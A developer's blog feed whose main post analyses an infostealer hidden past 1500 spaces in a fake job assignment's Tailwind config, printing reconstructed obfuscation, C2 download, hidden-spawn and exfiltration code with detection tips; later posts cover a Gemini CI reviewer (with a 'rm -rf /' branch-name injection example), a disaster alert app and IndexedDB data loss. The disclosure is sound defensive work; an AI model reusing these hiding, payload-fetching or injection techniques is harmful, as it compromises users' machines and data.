DEV Community: Deny Herianto

I Got a Job Offer. But, It Came With Malware.

Deny Herianto — Wed, 15 Apr 2026 09:51:58 +0000

TL;DR

Recently, a recruiter approached me via Linkedin with a Web3/crypto frontend role. The interview process seemed standard, submitted my Resume/CV, some back-and-forth about my experience, and then this message:

"After reviewing your background, we'd like to move forward with the next step in our hiring process." A GitHub repo link. A 60-minute time estimate. Urgency about rolling submissions. Classic pressure to move fast and not think too hard.

I've done dozens of these. So I cloned the repo, opened it in my editor, and was about to run yarn install when something made me pause. The codebase felt... heavy for a simple coding test. 440 files. A full Express backend with Uniswap and PancakeSwap router integrations. Wallet private key handling. Why would a "create a WalletStatus component" task need all of this?

So instead of running it, I opened Claude Code and asked it to audit the entire codebase for malware. What it found buried inside tailwind.config.js, hidden behind 1500+ invisible whitespace characters, was a multi-stage infostealer that would have fingerprinted my machine, downloaded a remote payload, spawned a hidden background process, and exfiltrated my data to a command-and-control server. All triggered the moment I ran yarn start.

I later found a LinkedIn post by Jithin KG describing this exact attack pattern, malware embedded in fake take-home assignments targeting developers in the crypto space. I wasn't the only one being targeted.

This article is a full technical breakdown of what I found, including the exact Claude Code audit process that uncovered it. If you're job hunting, especially in crypto, but honestly in any space that sends you repos to run locally, read this before you yarn install anything.

The Setup: Everything Looked Normal

The repo they sent me looked completely legitimate. It presented itself as an NFT Campaign Platform called "Yootribe," built with:

React 18 + Redux frontend
Express.js + SQLite backend
Tailwind CSS, ethers.js, Web3, Uniswap SDK
A clean README with setup instructions, sample login credentials (mtngtest@chain.biz / testpassword), and troubleshooting tips

The assignment was straightforward:

Create a WalletStatus.js component that checks wallet connection status and displays the wallet address. Add a route at /dashboard/wallet-status. Submit a Pull Request.

Reasonable scope. Clear acceptance criteria. MetaMask integration, exactly what you'd expect from a Web3 company hiring frontend developers. The codebase was large enough (~440 files, 56,000+ lines) that no sane person would audit every line before running yarn start.

That's exactly what they were counting on.

How Claude Code Found It: The Audit

Before touching yarn install, I opened Claude Code in the project directory and ran a simple prompt:

Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.

Pass 1: Broad Codebase Scan

Claude Code started by mapping the entire project structure, every file in src/, server/, public/, and root config files. It then ran parallel searches across the codebase for known threat indicators:

Suspicious imports and system access:

Searching for: child_process|exec(|execSync|spawn|fork(
Result: package.json:33, "child_process": "^1.0.2"

It immediately flagged child_process, crypto, and fs as npm dependencies, Node.js built-ins that should never be installed as third-party packages.

Private key handling:

Searching for: privateKey|private_key|mnemonic|seed.?phrase
Results:
  src/components/Wallet/ExportWallet.js:71, {userData?.wallet_private_key}
  src/components/CreateWallet/Step4.js:46 , localStorage.setItem('key', wallet.privateKey)

It found private keys stored in plaintext in localStorage and exposed through unprotected API endpoints, the sniping bot backend accepts raw private keys via HTTP POST and stores them in an unencrypted SQLite database.

The server is a front-running bot:

Claude Code read every controller file and identified that the "NFT Campaign Platform" was actually a fully functional MEV (Maximal Extractable Value) exploit tool:

server/controllers/snippingController.js, monitors the Ethereum mempool for addLiquidity events and front-runs them
server/controllers/frontController.js, 870 lines of code that copies other wallets' pending buy/sell transactions and executes them first for profit, supporting Uniswap V2, V3, and Universal Router
Zero authentication on bot control endpoints (POST /startSnipping, POST /startFront)

Pass 2: Deep Threat Vector Scan

But the broad scan didn't find actual malware yet, no eval(), no atob(), no obvious obfuscation. So I asked Claude Code to go deeper:

Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns

Claude Code ran targeted regex searches across every .js, .jsx, .ts, and .tsx file:

Searching for: eval(|new Function(|setTimeout([^,]*[`"'][^)]*)|
               setInterval([^,]*[`"'][^)]*)|Reflect.|Proxy(
Searching for: atob(|btoa(|Buffer.from(|toString(.*(hex|base64|ascii)|
               fromCharCode|charCodeAt
Searching for: fetch(|axios.(get|post)|http.request|https.request|
               request(|XMLHttpRequest
Searching for: child_process|exec(|execSync|execFile|spawn(|spawnSync|
               fork(|Worker(|cluster.|process.kill|process.exit|daemon
Searching for: fs.(read|write|unlink|rm|mkdir|access|stat|open|append)|
               readFileSync|writeFileSync|createReadStream|os.(homedir|
               tmpdir|platform|hostname|userInfo)

Most results were clean, normal fetch() calls to the project's own API, standard process.env usage, Sequelize's fs.readdirSync for model loading.

Then it hit tailwind.config.js.

Claude Code read the file and found that line 18 didn't end at column 3. After the };, there were over 1500 space characters, and then a massive block of obfuscated JavaScript starting with const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1....

My editor never showed this. git diff --stat showed tailwind.config.js | 18 lines, looks normal. But Claude Code reads the full raw content of every file, including characters past column 1500.

Pass 3: Decoding the Malware

Claude Code then decoded the obfuscated payload without executing it. It used Node.js to safely reverse the base64 and XOR encoding:

// Claude Code ran this to decode the malware's string table:
const n = a0 => {
  s1 = a0.substring(1);
  return Buffer.from(s1, 'base64').toString('utf8');
};

// Decoded results:
// 'os'            , operating system module
// 'fs'            , filesystem module
// 'request'       , HTTP client
// 'path'          , path utilities
// 'child_process' , process spawning
// 'platform'      , os.platform()
// 'tmpdir'        , os.tmpdir()
// 'hostname'      , os.hostname()
// 'username'      , os.userInfo().username
// 'spawn'         , child_process.spawn()
// 'exec'          , child_process.exec()
// 'writeFileSync' , fs.writeFileSync()
// 'existsSync'    , fs.existsSync()
// 'statSync'      , fs.statSync()
// 'mkdirSync'     , fs.mkdirSync()
// 'get'           , request.get()
// 'post'          , request.post()

From this, Claude Code reconstructed the entire attack chain and confirmed it hits all five threat vectors:

Threat Vector	Found	Details
Dynamic code execution	Yes	`child_process.exec()` and `spawn()` with `windowsHide: true`
Remote payload download	Yes	`request.get()` downloads from dynamically constructed C2 URL
Obfuscated code	Yes	Base64 + XOR + string array rotation + 1500-char whitespace hiding
Background process creation	Yes	`spawn({detached: true})` + `unref()` creates orphaned daemon
Unusual system access	Yes	Reads hostname, username, platform, tmpdir; writes to temp; POSTs to C2

All of this was found without running a single line of the project's code.

The Hidden Payload: 1500 Spaces of Silence

The malware lives in one file: tailwind.config.js.

Here's what you see if you open it:

/** @type {import('tailwindcss').Config} */
module.exports = {
  content: [
    "./src/**/*.{js,jsx,ts,tsx}",
    "./public/index.html",
  ],
  theme: {
    extend: {
      fontFamily: {
        'poppins': ['Poppins', 'sans-serif'],
      },
    },
  },
  plugins: [],
  corePlugins: {
    preflight: false,
  },
};

A perfectly normal Tailwind config. But line 18 doesn't end at the semicolon. After the };, there are over 1500 space characters padding the line horizontally, followed by a massive block of obfuscated JavaScript:

};                                          (1500+ more spaces)                                          const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1...

No editor will show this without horizontal scrolling. git diff won't flag it. Most code review tools render it as a clean, innocent config file.

This is the dropper.

Layer 1: The Obfuscation

The malicious code uses four stacked obfuscation techniques:

String Array Rotation

A shuffled array of 100+ base64-encoded strings is accessed via computed hex indices. The array is rotated at startup using an IIFE with a checksum:

(function(a0, a1) {
  const a2 = a0();
  while (!![]) {
    try {
      const a3 = parseInt(ab(0x1a0))/0x1 + parseInt(ab(0x1ed))/0x2 + ...
      if (a3 === a1) break;
      else a2['push'](a2['shift']());
    } catch(a4) { a2['push'](a2['shift']()); }
  }
})(a0a0, 0x7c2c2);

This makes the string lookups position-dependent on runtime computation. You can't statically map indices to values.

Custom Base64 + XOR Decoder

Two decoding functions work in tandem:

// Base64 decoder (strips first char as salt, then decodes)
const n = a0 => {
  s1 = a0.substring(1);
  return Buffer.from(s1, 'base64').toString('utf8');
};

// XOR decoder with rotating 4-byte key
const T = [0x70, 0xa0, 0x89, 0x48];
const x = a0 => {
  let a2 = '';
  for (let a3 = 0; a3 < a0.length; a3++) {
    rr = ((a0[a3] ^ T[a3 & 0x3]) & 0xff);
    a2 = a2 + String.fromCharCode(rr);
  }
  return a2;
};

Every sensitive string, module names, function names, URLs, runs through one or both of these before use.

String Fragmentation

Critical identifiers are split across multiple concatenations:

const c = 'base6' + '4';
const i = 'Rc3Bh' + a0ai(0x18b);   // → 'spawn'
const u = a0aj(0x1d4) + a0al(0x1e3) + 'A';  // → 'request'

Variable Name Mangling

Every variable is a meaningless alphanumeric identifier: a0ai, a0aj, aG, aH, bk. Functions are called through proxy objects with obfuscated keys:

a1 = {
  'bPrTI': function(a5, a6) { return a5(a6); },
  'ylVwx': function(a5, a6) { return a5(a6); },
};
// Later: a0['bPrTI'](someFunc, someArg)  // just calls someFunc(someArg)

Layer 2: What It Actually Does

After decoding every string, here's the reconstructed logic in plain English:

Imports

const os = require('os');
const fs = require('fs');
const request = require('request');  // HTTP client from package.json
const path = require('path');
const process = require('process');
const child_process = require('child_process');

Note: request, child_process, crypto, and fs are all listed as explicit dependencies in package.json. That's not accidental, it ensures they're available after yarn install without raising suspicion since the project is a crypto app that might plausibly need them.

Step 1, System Fingerprinting

const tmpDir = os.tmpdir();
const hostname = os.hostname();
const platform = os.platform();     // 'darwin', 'win32', 'linux'
const userInfo = os.userInfo();
const username = userInfo.username;
const timestamp = Date.now().toString();
const scriptPath = process.argv[1];

Collects everything needed to identify your machine uniquely.

Step 2, C2 URL Construction

The Command & Control server URL is never stored as a string. Instead, it's built dynamically from multiple encoded fragments:

// Simplified reconstruction:
const baseUrl = decode(M_or_X);  // switches between two C2 servers
const fullUrl = constructUrl(baseUrl, fragments, sessionId);

Two hardcoded base64 values (M and X) serve as primary/fallback C2 addresses. The URL includes path segments derived from XOR-decoded byte arrays, making pattern-matching by security tools nearly impossible.

Step 3, Payload Download

request.get(c2url, (error, response, body) => {
  if (error) return;
  fs.writeFileSync(localPath, body);  // writes to temp dir
  executePayload(tempDir);
});

Downloads a remote binary/script and writes it to a staging directory inside os.tmpdir(). The directory is created with fs.mkdirSync({recursive: true}).

Step 4, Hidden Execution

On Windows:

const child = spawn(process.execPath, [payload], {
  cwd: stageDir,
  stdio: 'ignore',
  windowsHide: true  // no visible window
});
child.unref();  // parent can exit, child keeps running

On macOS/Linux:

const child = spawn(nodePath, [process.execPath, payload], {
  cwd: stageDir,
  detached: true,  // survives parent termination
  stdio: ['ignore', logFd, logFd]  // redirects to hidden log
});
child.unref();

The detached: true + unref() combination is the key trick: it creates an orphaned process that continues running even after you close your terminal or kill the dev server. On Windows, windowsHide: true ensures no command prompt window flashes on screen.

Step 5, Data Exfiltration

const payload = {
  ts: timestamp,       // when
  type: identifier,    // campaign/session ID
  hid: hostname + '+' + username,  // who
  ss: sessionData,     // session context
  cc: process.argv[1]  // what script was running
};
request.post({ url: c2url, form: payload });

Your machine identity is sent to the attacker's server. This likely serves as:

Confirmation of successful infection
Inventory for targeted follow-up attacks
Filtering (don't waste effort on VMs/sandboxes)

Step 6, Persistence Loop

let attempts = 0;
const retry = async () => {
  try {
    timestamp = Date.now().toString();
    await downloadAndExecute(0);
  } catch(e) {}
};

retry();
let interval = setInterval(() => {
  attempts += 1;
  if (attempts < 3) retry();
  else clearInterval(interval);
}, 616000);  // every ~10.3 minutes

Runs immediately on import, then retries twice more at 10-minute intervals. Three total attempts to ensure the payload lands even if the C2 server is temporarily unreachable.

The Full Kill Chain

By the time your React app opens in the browser, the malware has already phoned home, dropped its payload, and started a hidden background process.

Red Flags I Almost Missed

Looking back, the signals were there, but they're easy to overlook when you're focused on completing an assignment:

1. Suspicious npm dependencies

"child_process": "^1.0.2",
"crypto": "^1.0.1",
"fs": "^0.0.1-security"

These are Node.js built-ins. They should never appear as npm dependencies. The npm packages with these names are either stubs or historically flagged as supply-chain attack vectors. Listing them ensures they're resolvable by require() in any environment.

2. The `request` package

"request": "^2.88.2"

The request npm package has been deprecated since 2020. A legitimate project in 2025+ would use axios (which is already in the deps) or node-fetch. The only reason request is here is because the malware needs it, and its presence is hidden among 80+ other dependencies.

3. The codebase is a crypto sniping bot

The server contains fully functional front-running and sniping bots that monitor the Ethereum mempool and exploit other users' transactions. Private keys are accepted via unprotected HTTP endpoints and stored in plaintext SQLite. This isn't just a vehicle for malware, the entire platform is an exploit tool.

4. One commit, one author

commit 70a3da95
Author: talent-labs <adfeca30@gmail.com>
Date:   Fri Jan 23 09:36:06 2026 +0900
    main/home-assignment
 438 files changed, 56441 insertions(+)

The entire codebase was committed in a single commit by talent-labs <adfeca30@gmail.com>. No history. A throwaway email. No GitHub organization page, no company website that matches, no LinkedIn profiles of employees I could verify. The "company" existed just enough to send me a repo.

How to Protect Yourself

Use Claude Code to Audit Before You Run

As I showed earlier in this article, this is exactly how I caught the malware. Two prompts. A few minutes. No code executed.

Claude Code reads every line of every file in the repo, including the parts hidden past column 1500 that your editor never renders. It doesn't get tired, it doesn't skim, and it doesn't assume config files are safe.

If you're receiving repos from strangers, run them through Claude Code before you touch yarn install. The two prompts I used:

Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.

Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns

It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.

Manual checks you should also do:

Scroll right. Open every config file and scroll to the end of every line. Or run:

   awk 'length > 200' **/*.{js,json,ts,jsx,tsx}

Search for obfuscation patterns:

   grep -rn 'eval\|Function(\|atob\|fromCharCode\|\\x[0-9a-f]' .
   grep -rn 'child_process\|\.exec(\|\.spawn(' .
   grep -rn 'Buffer\.from\|toString.*base64' .

Audit package.json:
- Look for preinstall/postinstall scripts
- Flag built-in Node modules listed as dependencies (fs, child_process, crypto, os, path)
- Question deprecated packages (request)
Use a VM or container. Always. Run take-home assignments in a disposable environment. Docker, a throwaway VM, or at minimum a separate user account with no access to your crypto wallets, SSH keys, or cloud credentials.
Check line lengths in git:

   git diff --stat  # won't catch it
   git log -p | awk 'length > 500'  # will

Don't trust the file extension. Malware was in tailwind.config.js, a file you'd never think to audit. It could just as easily be in postcss.config.js, babel.config.js, jest.config.js, .eslintrc.js, or any config that gets require()'d at build time.

If you already ran it:

Check for orphaned Node processes: ps aux | grep node
Inspect your temp directory: ls -la $TMPDIR or ls -la /tmp
Check for outbound connections: lsof -i -nP | grep node
Rotate all credentials that were accessible from your machine, SSH keys, API tokens, crypto wallets, browser sessions
Assume compromise. If you ran it on a machine with crypto wallets, move your assets immediately from a different device.

Final Thoughts

I almost ran this. I was one yarn start away from having my machine compromised, my SSH keys, my cloud credentials, my browser sessions, everything. The only reason I didn't is because the repo felt slightly too heavy for the task, and I decided to read before running.

But let's be honest: most of the time, we don't read. We're excited about a job opportunity. The repo looks professional. The task is reasonable. We want to impress the recruiter by submitting quickly. And that's exactly when we run yarn start without auditing 56,000 lines of code, including the 1500 invisible spaces hiding a backdoor in a Tailwind config.

The crypto/Web3 job market has become a hunting ground for these attacks. But the technique isn't limited to crypto, any take-home assignment in any tech stack can carry this payload. A Django project could hide it in settings.py. A Go project could hide it in go generate directives. A Rust project could hide it in build.rs.

What changed my workflow after this: I now run every take-home assignment through Claude Code before I touch yarn install. It takes two minutes and it reads every line, including the ones I can't see. It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.

The rule is simple: if someone sends you code to run, treat it like someone handed you a USB drive in a parking lot. Inspect it. Sandbox it. And never run it on a machine that has access to anything you care about.

If this helped you, share it with someone who's job hunting. One yarn start is all it takes.

Building an AI Code Reviewer for GitLab CI with Google Gemini

Deny Herianto — Wed, 04 Mar 2026 12:07:39 +0000

This is a submission for the Built with Google Gemini: Writing Challenge

What I Built with Google Gemini

Niteni, Javanese for "to observe carefully", is an AI-powered code review tool for GitLab CI pipelines, powered by the Gemini REST API.

GitLab's Free tier doesn't have a built-in AI review feature. I wanted something that would run inside a standard CI job, post inline diff comments (not a wall of text), and provide one-click "Apply suggestion" buttons, all without pulling in any npm runtime dependencies.

That last constraint was deliberate. CI environments are ephemeral. Every npm install is wasted time and a potential failure point. So Niteni uses only Node.js built-ins: https, fs, path, os, and url. Gemini does the heavy lifting via a direct REST call.

How Gemini fits in

Niteni sends the full MR diff to Gemini and asks it to return a structured list of findings, each with a severity level (CRITICAL, HIGH, MEDIUM, LOW), file path, line number, description, and optional suggestion. Those findings get posted as inline GitLab discussion comments with suggestion blocks the reviewer can apply in one click.

async review(diffContent: string): Promise<ReviewResult> {
  const apiResult = await this.reviewWithAPI(diffContent);
  if (apiResult && this.isValidStructuredReview(apiResult)) {
    return apiResult;
  }
  throw new Error('Review failed: empty or malformed structured response.');
}

A direct HTTP call to generativelanguage.googleapis.com, no CLI, no extensions, no sandbox issues. Just an API key and a network connection.

Demo

The tool runs as a GitLab CI job. After a push, it posts inline comments like this:

You can try it yourself: github.com/denyherianto/niteni

What I Learned

1. Gemini CLI ≠ CI-friendly

My first approach used a cascading strategy: Gemini CLI /code-review extension → CLI prompt → REST API. The CLI approaches failed every time in CI because Gemini CLI restricts its toolset in non-interactive (non-TTY) mode, the /code-review extension can't even run git diff. No Docker image change fixes this. The simplest solution turned out to be the best: just call the API directly.

2. Structured output beats regex parsing

Early versions asked Gemini for markdown and parsed it with regex. This was fragile, brackets optional, format drift between model versions, lastIndex state bugs in exec() loops:

// Handles both: **[CRITICAL]** and **CRITICAL**
const findingRegex = /\*\*\[?(CRITICAL|HIGH|MEDIUM|LOW)\]?\*\*\s*`([^`]+)`/g;

Migrating to Gemini's structured output (responseMimeType: "application/json" + responseSchema) eliminated the entire parsing layer. Findings come back as typed JSON objects. No regex, no format drift, no silent data loss.

3. GitLab CI variable "pass-through" is a trap

This looks innocent:

variables:
  GEMINI_API_KEY: $GEMINI_API_KEY  # ← circular reference

GitLab expands this to the literal string $GEMINI_API_KEY instead of the secret value. The fix: don't re-declare project-level CI/CD variables. They're available in every job automatically.

4. `execFileSync` over `execSync` for security

The original code built shell commands as strings. Branch names come from user input in CI, a branch named main; rm -rf / would be a shell injection. Switching to execFileSync('git', ['diff', '--merge-base',origin/${targetBranch}]) calls the binary directly, no shell interpretation.

5. URL-encoding every path parameter

GitLab project IDs can be namespaced paths (my-group/my-project). Without encodeURIComponent(), a branch named feature/auth silently becomes a path traversal. Every parameter, project ID, MR IID, file path, branch ref, gets encoded.

Google Gemini Feedback

What worked well:

Structured output / JSON mode is the standout feature. Once I switched from markdown + regex to responseSchema, reliability jumped dramatically. The schema enforcement means I can trust the shape of the response and write typed TypeScript around it.
temperature: 0.2 produces consistent, deterministic reviews. This is important for CI, you don't want findings to appear and disappear between pipeline runs on the same code.
65k output token limit means Niteni can review large diffs without truncation. This was a real concern early on.
The REST API itself is clean and well-documented. Direct HTTP calls from Node's https module work without friction.

Where I hit friction:

Error messages from the API are sometimes opaque. A JSON parse failure mid-response (unterminated string at character 1326) gave no signal about why the output was truncated. More structured error payloads would make debugging easier.
Rate limits during testing are easy to hit when you're running the tool repeatedly against the same MR. Clearer rate limit headers in responses would let the client back off gracefully instead of just failing.

Overall, Gemini's structured output capability was the key unlock for making Niteni reliable enough to trust in automated CI pipelines. The shift from "parse whatever the LLM returns" to "enforce a schema and get typed objects" is something I'd apply to any future LLM integration.

Code: github.com/denyherianto/niteni

Building Disaster Pulse: What Happened When I Let AI Decide If a Disaster Is Real

Deny Herianto — Tue, 03 Mar 2026 16:39:54 +0000

This is a submission for the Built with Google Gemini: Writing Challenge

I live in Indonesia. We sit on the Ring of Fire, an archipelago of 17,000 islands, home to 40% of the world's active volcanoes, and a long, painful history of disasters that moved too fast and warned too late.

In November 2025, Tropical Cyclone Senyar made landfall in northeastern Sumatra with around 1,090–1,207 people died. Over 1.1 million people were displaced. The cyclone itself was relatively small, the real damage came from deforested watersheds that had no natural buffer left. Information about the disaster spread across TikTok, WhatsApp, news sites, and government agencies, all at once, in fragments, with varying levels of accuracy.

That's the origin of Disaster Pulse, an AI-powered disaster intelligence platform I built for the Gemini 3 Hackathon.

What I Built with Google Gemini

Disaster Pulse is a real-time disaster detection and alert system designed for Indonesia. When Cyclone Senyar hit Sumatra, information came from everywhere, BMKG (Indonesia's meteorological agency), TikTok videos of people filming floodwater from rooftops, WhatsApp forwarded messages, news RSS feeds, and user reports from people trying to locate missing relatives. Most of it was noise. Some of it was life-or-death signal.

The app's job is to separate those two.

Here's where Gemini comes in: I built a 5-agent reasoning pipeline powered by Gemini to process every incoming signal before it becomes an alert on the dashboard.

Observer → Classifier → Skeptic → Synthesizer → Action

Each agent has a single job:

Observer: Reads the raw signal (text, video frame, user report) and writes factual observations
Classifier: Assigns event type, severity, and affected radius
Skeptic: Actively looks for reasons the previous agents are wrong, hallucination prevention
Synthesizer: Weighs all evidence and produces a confidence-scored verdict
Action: Decides whether to create a new incident, update an existing one, or discard the signal

The VideoAnalysisAgent is the one I'm most proud of. It uses Gemini's multimodal capabilities to analyze video frames from social media, checking for visual flood indicators, fire signatures, and structural damage, then applies a freshness rule: if the video metadata suggests it was filmed more than 6 hours ago, the severity score gets downgraded. Old content shouldn't trigger live alerts.

Beyond the AI pipeline, the app includes:

Real-time dashboard with incident severity cards
Live map showing affected zones
Community verification system (human-in-the-loop)
SSE-powered live intelligence ticker showing agent activity
Mobile-first PWA for field workers

Tech stack: NestJS (API), Next.js 15 (web), PostgreSQL, Drizzle ORM, Gemini API, Turborepo monorepo.

Demo

https://disaster-pulse.denyherianto.com

Here's a quick look at the core pipeline in action. The Live Intelligence Ticker shows each agent processing a signal in real time:

[Observer]    Reading signal: TikTok video, 0:42, location metadata: North Sumatra
[Classifier]  Event type: flood | Severity: high | Confidence: 0.84
[Skeptic]     ⚠ Video upload timestamp 14h ago, possible recirculation of 2022 Palu footage
[Synthesizer] Verdict: DOWNGRADE severity to low | Freshness penalty applied
[Action]      Signal discarded, insufficient confidence threshold

What I Learned

Multi-agent architecture is harder than it looks

I thought about building a single "smart prompt" to classify disasters. I'm glad I didn't.

The Skeptic agent alone probably saves the most embarrassment. Early on, without it, the pipeline would happily classify someone's video of a smoke machine at a concert as "fire, high severity." The Skeptic looks at the Classifier's output and asks: what if this is wrong? That adversarial framing is the difference between a toy and something I'd trust in production.

But chains have failure modes. If the Observer writes a vague summary, the Classifier gets bad input, the Skeptic has nothing solid to critique, and the Synthesizer is guessing. I learned to write very explicit output schemas for each agent, not just "describe what you see" but "output JSON with fields: event_type, confidence, evidence_list, contradictions."

Structured output with Gemini was a game-changer here.

Multimodal processing isn't free

Video analysis sounds straightforward until you're pulling frames from a TikTok video at 3 AM, sampling every 2 seconds, and sending each frame to the Gemini API with a detailed prompt. Token costs add up fast. I had to be strategic: sample at lower frequency for longer videos, cache identical frames (TikTok compression creates a lot of duplicates), and set hard limits on video length per analysis job.

The freshness rule emerged from a real problem: during Cyclone Senyar, videos from the 2022 Cianjur earthquake and the 2018 Palu tsunami were getting recirculated on TikTok alongside actual Sumatra flood footage. People were sharing old disasters in the panic of a new one. Without the freshness check, the pipeline would treat a 2018 video as a live signal. Metadata-based time-checking was a simple fix that meaningfully improved signal quality.

The empty state kills demos

I almost demoed with no data. I had built the entire pipeline and UI but hadn't thought about what judges see when they open the app for the first time.

Nothing.

I scrambled and built a demo seed system, a script that populates the database with a realistic scenario based on Cyclone Senyar: flood alerts across North Sumatra, multiple user verification reports with conflicting severity estimates, landslide signals from Mandailing Natal, and full agent traces showing the reasoning chain. A hidden trigger in the frontend (tap the logo 5 times) resets and re-seeds everything.

Lesson: build for the demo from day one. The feature doesn't matter if the judge sees a blank screen.

The hardest part wasn't the AI, it was making the AI visible

I had a sophisticated 5-agent pipeline running, but from the user's perspective, disaster cards just... appeared on a dashboard. There was no way to see why something was classified high severity or what the Skeptic had flagged.

This is the black box problem. In disaster alerting, a black box is a liability. With Cyclone Senyar, the difference between "flooding in Mandailing Natal" and "flooding in Mandailing Natal, confidence 0.91, corroborated by BMKG water level data + 3 user reports + video analysis" is the difference between a coordinator acting or waiting for more information.

Building the AI Transparency Panel, a "Why?" button that exposes the full agent trace, changed the product from a dashboard into a decision-support tool. That distinction matters enormously for real-world impact.

One moment that stuck

At some point during the hackathon, I was debugging the Skeptic agent and fed it a signal I thought was obviously a live Sumatra flood report, a news article with dramatic photos of floodwater submerging houses.

The Skeptic came back: "The article references events from 2022. The images match historical flood patterns from that period. This signal should not trigger a live alert."

It was right. I had been testing with old data I'd scraped as examples, and the agent caught it.

There's something a little unsettling about an AI being more careful than I was. But mostly it made me trust the architecture. That's what I want to keep building toward: systems that are genuinely more careful, not just faster.

Google Gemini Feedback

What worked really well

Structured output is exceptional. Gemini's ability to reliably return JSON matching a schema is the foundation the entire multi-agent pipeline is built on. Without it, I'd be writing fragile regex parsers to extract data from free-text responses. With it, every agent output is predictable, typeable, and chainable. This is the feature I'd highlight to any developer building agentic systems.

Multimodal + long context together. The combination of sending video frames and having the model hold enough context to reason across them is genuinely powerful. For the VideoAnalysisAgent, I send multiple frames with temporal metadata and ask the model to reason about change over time. It handles this well.

Speed on Gemini Flash. For a real-time alert system, latency matters. Flash is fast enough that the agent pipeline completes within a few seconds for most signals, which means dashboard updates feel live rather than batched.

Where I hit friction

Rate limits during development are brutal. When you're building a pipeline that chains 5 API calls per signal and testing with a seed of 20 signals, you hit limits fast. The error messages could be more actionable, "quota exceeded" without any indication of which quota (per-minute, per-day, per-project) cost me real debugging time.

Structured output edge cases aren't well documented. What happens when the model can't produce valid output for a schema? Sometimes the API returns a malformed response silently rather than throwing an error. I had to add defensive validation at every agent step to catch this. It's a correctness issue I didn't expect going in.

Grounding/search integration has a learning curve. I wanted to cross-reference incidents with historical BMKG data, but integrating Google Search grounding into a multi-step pipeline, where only some steps should use grounding, required more plumbing than I expected. I ended up implementing a separate SignalEnrichmentAgent just for this, which added complexity.

Streaming in chained calls needs better SDK support. I wanted to show real-time agent "thinking" in the UI, streaming tokens from each agent as they processed. Gemini supports streaming, but building it into a pipeline where one agent's output feeds the next's input required significant SSE infrastructure on my side. I got it working, but the SDK could make this pattern easier.

This project isn't going back in a drawer. Next steps: Cloud Run deployment, formal BMKG API integration, offline PWA capability, and eventually, getting it in front of people who actually coordinate disaster response in Indonesia.

Disaster Pulse is open source. Feedback welcome, especially from anyone working in disaster response.

Github: https://github.com/denyherianto/disaster-pulse

Built with Gemini API, NestJS, Next.js, and a lot of coffee.

Why Your IndexedDB Data Keeps Disappearing

Deny Herianto — Tue, 03 Mar 2026 16:28:44 +0000

You build a web app. You store data in IndexedDB. It works great, until one day a user reports that all their data is just... gone. No error. No warning. It's as if it never existed.

This happened to me with Mock Studio, a Chrome extension that stores API mocks in IndexedDB using Dexie.js. Users would work for days building up their mock configurations, then come back to find everything wiped. We dug in and found three root causes, all fixable. Here's what we learned.

The Short Version

IndexedDB data can silently disappear because:

Chrome evicts your entire database when storage quota is exceeded, and your app might be filling it up faster than you think.
An abrupt connection close mid-write loses uncommitted data, service worker restarts can trigger this.
A "clear then import" pattern leaves you with nothing if the import fails, even inside a transaction.

Root Cause #1: Chrome Will Evict Your Entire Database

This is the one that hurts the most because it's invisible until it's too late.

Browsers allocate storage to origins (a combination of scheme + host + port). When an origin exceeds its quota, Chrome doesn't trim your data gracefully, it evicts the entire origin's storage: IndexedDB, Cache API, localStorage, all of it. Gone.

How we hit this

Our extension's network logging feature stored every captured HTTP request in IndexedDB, including the full response body:

const newRequest = {
  method: request.request.method,
  url: request.request.url,
  status: request.response.status,
  content: content || undefined,  // ← full response body, no size check
  // ...
};

await db.networkLogs.add(newRequest);

We had a row count limit of 50,000 records. Sounds reasonable. But 50,000 records × potentially megabytes of response body each = gigabytes of storage. On a busy app making lots of API calls, this table would balloon fast.

When the storage quota was exceeded, Chrome evicted CMockDB, wiping out all the user's mocks, projects, and environments along with the logs. The user lost everything because of a logging side-feature they didn't even know existed.

The fix

Stop storing what you don't need. We only needed aggregate stats (counts, average times, error rates), not raw response bodies. Removing the raw log storage entirely solved the problem.

If you do need raw logs, apply a size-based limit, not just a row count:

// Check byte size before storing
const contentSize = new Blob([content]).size;
const entry = {
  ...requestData,
  content: contentSize < 50_000 ? content : undefined, // skip bodies > 50KB
};

Or cap by row count but make it realistic, 500 rows of potentially-large records is very different from 500 rows of small records.

How to protect your extension from eviction

For Chrome extensions specifically, add unlimitedStorage to your manifest.json:

{
  "permissions": [
    "storage",
    "unlimitedStorage"
  ]
}

This exempts your extension's storage from Chrome's quota-based eviction. Without it, your extension is subject to the same eviction policy as any website.

For regular web apps, you can request persistent storage, the browser will ask the user for permission and the data won't be evicted without explicit user action:

const persisted = await navigator.storage.persist();
if (persisted) {
  console.log('Storage will not be evicted');
}

You can also check how much quota you're using before it becomes a problem:

const estimate = await navigator.storage.estimate();
console.log(`Using ${estimate.usage} of ${estimate.quota} bytes`);

Root Cause #2: Service Worker Restarts Can Abort In-Flight Writes

Chrome terminates idle service workers after about 30 seconds of inactivity and restarts them on demand. When a restart happens while a database write is in progress, the write can be lost.

How this works in practice

When a new service worker instance starts up, it opens a new connection to IndexedDB. If your existing page (say, a DevTools panel) already has an open connection, the browser fires a versionchange event on the old connection. The standard pattern for handling this is to close the old connection immediately:

this.on('versionchange', () => {
  this.close(); // Let the upgrade proceed
});

This is correct, but it's incomplete. After close() is called, any subsequent operations on that db instance will fail with a "Database is closing" or "Connection is closing" error. Your Zustand store might have already applied an optimistic UI update, but the actual DB write never completed. On the next page load, the data isn't there.

The fix

Reopen the connection after closing it:

this.on('versionchange', () => {
  this.close();
  this.open().catch((err) => {
    console.warn('Failed to reopen DB after version change:', err);
  });
});

This ensures the connection is restored automatically after the upgrade completes, without requiring a full page reload.

Root Cause #3: "Clear Then Import" Leaves You With Nothing on Failure

This one is a logic trap that's easy to fall into. If you implement a backup/restore feature, you probably wrote something like this:

await db.transaction('rw', [db.projects, db.mocks, ...], async () => {
  // Step 1: Wipe everything
  await db.projects.clear();
  await db.mocks.clear();
  // ...

  // Step 2: Import new data
  await db.projects.bulkAdd(data.projects);
  await db.mocks.bulkAdd(data.mocks); // ← what if this throws?
});

